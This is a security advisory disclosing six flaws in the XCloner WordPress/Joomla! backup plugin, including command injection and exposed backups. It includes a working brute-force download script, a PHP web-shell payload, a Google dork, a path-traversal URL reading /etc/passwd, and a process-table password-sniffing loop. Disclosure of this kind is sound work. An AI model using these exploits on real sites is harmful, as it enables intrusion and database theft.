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XCloner Wordpress/Joomla! backup Plugin v3.1.1 (Wordpress) v3.5.1 (Joomla!) Vulnerabilities



Title: XCloner Wordpress/Joomla! backup Plugin v3.1.1 (Wordpress) v3.5.1 (Joomla!) Vulnerabilities
Author: Larry W. Cashdollar, @_larry0
Date: 10/17/2014
Download: https://wordpress.org/plugins/xcloner-backup-and-restore/
Download: http://extensions.joomla.org/extensions/access-a-security/site-security/backup/665
Downloads: Wordpress 313,647 Joomla! 515745 StandAlone 69175
Website: http://www.xcloner.com
Advisory: http://www.vapid.dhs.org/advisories/wordpress/plugins/Xcloner-v3.1.1/
Vendor: Notified 10/17/14 Ovidiu Liuta, @thinkovi Acknowledged & no other response.
CVEID: Requested, TDB.
OSVDBID:114176,114177,114178,114179,114180

Description: “XCloner is a Backup and Restore component designed for PHP/Mysql websites, it can work as a native plugin for WordPress and Joomla!.”

Vulnerabilities:  There are multiple vulnerabilities I’ve discovered in this plugin, they are as follows.

1. Arbitrary command execution.
2. Clear text MySQL password exposure through html text box under configuration panel.
3. Database backups exposed to local users due to open file permissions.
4. Unauthenticated remote access to backup files via easily guessable file names.
5. Authenticated remote file access. 
6. MySQL password exposed to process table.

Arbitrary Command Execution

Plugin allows arbitrary commands to be executed by an authenticated user.  The user will require administrative access rights to backup the database. User input when specifying your own file name is not sanitized as well as various other input fields.

PoC
All input fields I believe are vulnerable, I’ve chosen the backup filename and a wget of sh.txt which is simply <?php passthru($_GET)?> into a writeable directory by www-data.

Screenshots available at the advisory URL above.

All user configurable variables are vulnerable, these variables need to be sanitized before being passed to the exec() function for execution.
$_CONFIG[tarpath]
$exclude
$_CONFIG['tarcompress']
$_CONFIG['filename']
$_CONFIG['exfile_tar']
$_CONFIG[sqldump]
$_CONFIG['mysql_host']
$_CONFIG['mysql_pass']
$_CONFIG['mysql_user']
$database_name
$sqlfile
$filename

Vulnerable code  

./cloner.functions.php:

1672       exec($_CONFIG[tarpath] . " $exclude -c" . $_CONFIG['tarcompress'] . "vf $filename ./administrator/backups/index.html");
1673       exec($_CONFIG[tarpath] . " -" . $_CONFIG['tarcompress'] . "vf $filename --update ./administrator/backups/database-sql.sql");
1674       exec($_CONFIG[tarpath] . " -" . $_CONFIG['tarcompress'] . "vf $filename --update ./administrator/backups/htaccess.txt");
1675       exec($_CONFIG[tarpath] . " -" . $_CONFIG['tarcompress'] . "vf $filename --update ./administrator/backups/perm.txt");

1695-          if ($_REQUEST[cron_dbonly] != 1) {
1696:              exec($_CONFIG[tarpath] . " $excl_cmd " . " -X " . $_CONFIG['exfile_tar'] . "  -chv" . $_CONFIG['tarcompress'] . "f $filename ./");
1697-          } else {
1698-
1699-
1700:      exec($_CONFIG[tarpath] . "  -" . $_CONFIG['tarcompress'] . "cvf $filename ./administrator/backups/database-sql.sql");
1701-
1702-              if (is_array($databases_incl)) {
1703-                  foreach ($databases_incl as $database_name)
1704-                      if ($database_name != "") {
1705:                          exec($_CONFIG[tarpath] . "  -" . $_CONFIG['tarcompress'] . "vf $filename --update  ./administrator/backups/" . $database_name . "-sql.sql");
1706-                      }
1707-              }
1708-          }
--
1873-  {
1874-      //$sizeInBytes = filesize($path);
1875-      $sizeInBytes = sprintf("%u", filesize($path));
1876:      if ((!$sizeInBytes) and (function_exists("exec"))){
1877-          $command = "ls -l \"$path\" | cut -d \" \" -f 5";
1878:          $sizeInBytes = @exec($command);
1879-      }

2010-      if ($_CONFIG['sql_mem']) {
2011:          exec($_CONFIG[sqldump] . " -h " . $_CONFIG['mysql_host'] . " -u " . $_CONFIG['mysql_user'] . " -p" . $_CONFIG['mysql_pass'] . " " . $dbname . " > " . $sqlfile . " $drop --allow-k
eywords " . $ex_dump);
2012-
2013-          if (get_filesize($sqlfile) > 0)
2014-              $databaseResult = LM_DATABASE_BACKUP_COMPLETED . ' ( ' . getFileSizeText(get_filesize($sqlfile)) . ' )';
2015-          else
2016-              $databaseResult = LM_MSG_BACK_14;
2017-
2018:          exec("chmod 777 $sqlfile");
2019-
2020-          return $sqlfile;
2021-      }

./classes/fileRecursion.php
339-    public static function getFileSize($file){
340-
341-      $sizeInBytes = sprintf("%u", filesize($file));
342:      if ((!$sizeInBytes) and (function_exists("exec"))){
343-          $command = "ls -l \"$file\" | cut -d \" \" -f 5";
344:          $sizeInBytes = @exec($command);
345-      }
346-
347-      return $sizeInBytes;
./restore/XCloner.php
290-    }else{
291-            if($ext == '.tgz') $compress = 'z';
292-            else $compress = '';
293:            shell_exec("tar -x".$compress."pf $file -C $_CONFIG[output_path]");
294-    }
295-}


1077-   if($_REQUEST['use_mysqldump'] == 1){
1078:           echo shell_exec($_REQUEST['mysqldump_path']." -u ".$_REQUEST[mysql_username]." -p".$_REQUEST[mysql_pass]." -h ".$_REQUEST[mysql_server]." ".$_REQUEST[mysql_db]." < ".$sqlfile);
1079-           return;
1080-    }




Clear Text MySQL Database Password


The plugin also returns the MySQL clear text password via html text box back to the user in the configuration panel.  A password should never be repeated back to you in clear text.  The plugin will happily send this over a clear text connection.

Screenshots available at the advisory URL above.

Remote Database Download & Local File Permissions


The default recommend path for backup storage is /usr/share/wordpress/administrator/backups.
An index.html file is created under this directory to prevent casual browsing however the file names are easily predictable. From the installation instructions:


“XCloner is a tool that will help you manage your website backups, generate/restore/move so your website will be always secured! With XCloner you will be able to clone your site to any other location with just a few clicks. Don't forget to create the 'administrator/backups' directory in your Wordpress root and make it fully writeable.”


The format of the filenames are: backup_year-month-day_month_24hour_minute_domainname-sql-OPTIONS.tar where
OPTIONS could be either -sql-drop, -sql-nodrop or -nosql depending on options selected during time of backup.  
The domain name is set by the HTTP_HOST header from line 88 of  cloner.config.php:


88: $_CONFIG['mosConfig_live_site']=$_SERVER['HTTP_HOST'];


root@larry:/usr/share/wordpress/administrator/backups# ls -l
total 129432
-rw-r--r-- 1 www-data www-data 44177408 Oct 29 13:15 backup_2014-10-29_10-14_testsite-sql-nodrop.tar
-rw-r--r-- 1 www-data www-data 44177408 Oct 29 13:19 backup_2014-10-29_10-19_testsite-sql-nodrop.tar
-rw-r--r-- 1 www-data www-data 44177408 Oct 29 13:24 backup_2014-10-29_10-24_testsite-sql-nodrop.tar




These file permissions also expose the contents of the databases to any local system users.


File naming convention code is as follows:


 1327       $domainname = $_CONFIG['mosConfig_live_site'];
 1351       if ($_REQUEST['bname'] == "") {
 1352           if ($backupDatabase == 1) {
 1353               if ($_REQUEST['dbbackup_drop']) {
 1354                   $filename1 = 'backup_' . date("Y-m-d_H-i") . '_' . $domainname . '-sql-drop' . $f_ext;
 1355               } else {
 1356 
 1357                   $filename1 = 'backup_' . date("Y-m-d_H-i") . '_' . $domainname . '-sql-nodrop' . $f_ext;
 1358               }
 1359           } else
 1360               $filename1 = 'backup_' . date("Y-m-d_H-i") . '_' . $domainname . '-nosql' . $f_ext;
 1361       } else {

Screenshots available at the advisory URL above.

I’ve found a few vulnerable websites with the google dork:


https://www.google.com/#q=inurl:+administrator%2Fbackups


A PoC:


lwc@wordpress:~$ bash exp.sh 192.168.0.26
[+] Location http://192.168.0.26/administrator/backups/backup_2014-10-30_06-27_-sql-nodrop.tar Found
[+] Received HTTP/1.1 200 OK
Downloading......
--2014-10-30 13:02:51--  http://192.168.0.26/administrator/backups/backup_2014-10-30_06-27_-sql-nodrop.tar
Connecting to 192.168.0.26:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 44400640 (42M) [application/x-tar]
Saving to: `backup_2014-10-30_06-27_-sql-nodrop.tar.1'


100%[========================================>] 44,400,640  56.9M/s   in 0.7s    


2014-10-30 13:02:52 (56.9 MB/s) - `backup_2014-10-30_06-27_-sql-nodrop.tar.1' saved [44400640/44400640]


[+] Location http://192.168.0.26/administrator/backups/backup_2014-10-30_06-33_-sql-nodrop.tar Found
[+] Received HTTP/1.1 200 OK
Downloading......
--2014-10-30 13:02:52--  http://192.168.0.26/administrator/backups/backup_2014-10-30_06-33_-sql-nodrop.tar
Connecting to 192.168.0.26:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 44400640 (42M) [application/x-tar]
Saving to: `backup_2014-10-30_06-33_-sql-nodrop.tar.1'


100%[========================================>] 44,400,640  64.1M/s   in 0.7s    


2014-10-30 13:02:53 (64.1 MB/s) - `backup_2014-10-30_06-33_-sql-nodrop.tar.1' saved [44400640/44400640]


#!/bin/bash
#Exploit to download XCloner v3.1.1 Database backups OSVDB: 114177
#Larry W. Cashdollar, @_larry0
#XCloner recommends a backup storage path under the WP root directory
#it uses a 0 size index.html file to block indexing.
#we can try to brute force the filenames it creates.


MONTH=10
DAY=30
#May need to set the DOMAIN to $1 the target depending on how WP is configured.
DOMAIN=


for y in `seq -w 1 24`; do
      for x in `seq -w 1 59`; do 
              CPATH="http://$1/administrator/backups/backup_2014-"$MONTH"-"$DAY"_"$y"-"$x"_$DOMAIN-sql-nodrop.tar";;
               RESULT=`curl -s --head $CPATH|grep 200`;
              if [ -n "$RESULT" ]; then
               echo "[+] Location $CPATH Found";
               echo "[+] Received $RESULT";
               echo "Downloading......";
               wget $CPATH
              fi;
      done
done

Remote File Access

The user has to have administrative rights, but the backup downloader doesn’t check the path
for ../.

http://192.168.0.33/wp-admin/admin-ajax.php?action=json_return&page=xcloner_show&option=com_cloner&task=download&file=../../../../etc/passwd

Will download /etc/passwd off the remote system.

MySQL Database Password Exposed to Process Table


Local users can steal the MySQL password by watching the process table:


lwc@wordpress:/etc/wordpress$ while (true); do ps -ef |grep [m]ysqldump; done
www-data 16691  8889  0 09:27 ?        00:00:00 sh -c mysqldump --quote-names  -h localhost -u root -pPASSWORDHERE wordpress > /usr/share/wordpress/administrator/backups/database-sql.sql  --allow-keywords 
www-data 16692 16691  0 09:27 ?        00:00:00 mysqldump --quote-names -h localhost -u root -px xxxxxx wordpress --allow-keywords
www-data 16691  8889  0 09:27 ?        00:00:00 sh -c mysqldump --quote-names  -h localhost -u root -ps3cur1ty wordpress > /usr/share/wordpress/administrator/backups/database-sql.sql  --allow-keywords 
www-data 16692 16691  0 09:27 ?        00:00:00 mysqldump --quote-names -h localhost -u root -px xxxxxx wordpress --allow-keywords
^C